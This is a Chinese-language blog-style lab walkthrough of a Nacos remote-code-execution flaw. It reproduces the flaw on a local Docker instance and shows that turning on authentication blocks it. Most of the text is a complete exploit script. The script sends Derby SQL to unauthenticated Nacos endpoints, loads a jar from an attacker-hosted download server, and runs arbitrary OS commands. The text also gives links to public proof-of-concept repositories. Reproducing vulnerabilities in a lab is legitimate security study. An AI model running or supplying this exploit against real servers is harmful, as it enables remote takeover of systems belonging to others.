Nacos 服务管理平台 RCE

• 本地搭建测试环境，使用官方Docker镜像，默认启动版本是2.3.1，可以修改文件夹中的example/.env来制定版本号。
• 网传都是2.3.2-2.4.0直之间的版本，实测2.3.1可行。

git clone https://github.com/nacos-group/nacos-docker.git
cd nacos-docker
docker-compose -f example/standalone-derby.yaml up -d

• 直接运行默认是不开启鉴权的。
• 然后我们下载POC（本文使用原作者版本），将它放在云服务器上，修改config.py，可以改成0.0.0.0，运行service.py

公开作者版本：https://github.com/ayoundzw/nacos-poc其它师傅改进版本：https://github.com/FFR66/Nacos_Rce

• 然后本地运行POC中的exploit.py，稍微修改一下，不用config中的地址，修改service为你服务器端口IP即可

import random
import sys
import requests
from urllib.parse import urljoin

# 按装订区域中的绿色按钮以运行脚本。
def exploit(target, command, service):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0,sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'n""".format(id=id,service=service);
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')n".format(id=id,cmd=command);
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        #get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url,params={'sql':get_sql})
            print(get_resp.text)
            break

if __name__ == '__main__':
    service = 'http://your-ip:port/download'
    target = 'http://127.0.0.1:8848'
    command = 'whoami'
    target = input('请输入目录URL，默认：http://127.0.0.1:8848：') or target
    command = input('请输入命令，默认：whoami：') or command
    exploit(target=target, command=command,service=service)

• 本地运行,成功命令执行

• 我们再试试开启鉴权还能不能命令执行，先把刚刚启动的暂停删除

docker-compose -f example/standalone-derby.yaml stop
docker-compose -f example/standalone-derby.yaml rm

• 修改example/standalone-derby.yaml，加上一行参数。

- NACOS_AUTH_ENABLE=true

• 再重新启动容器，再试试POC

docker-compose -f example/standalone-derby.yaml up -d

• 发现已经不能命令执行了，因为脚本没有写超时，结果就是一直卡住。
• 最后测完记得关闭服务器上的容器和脚本。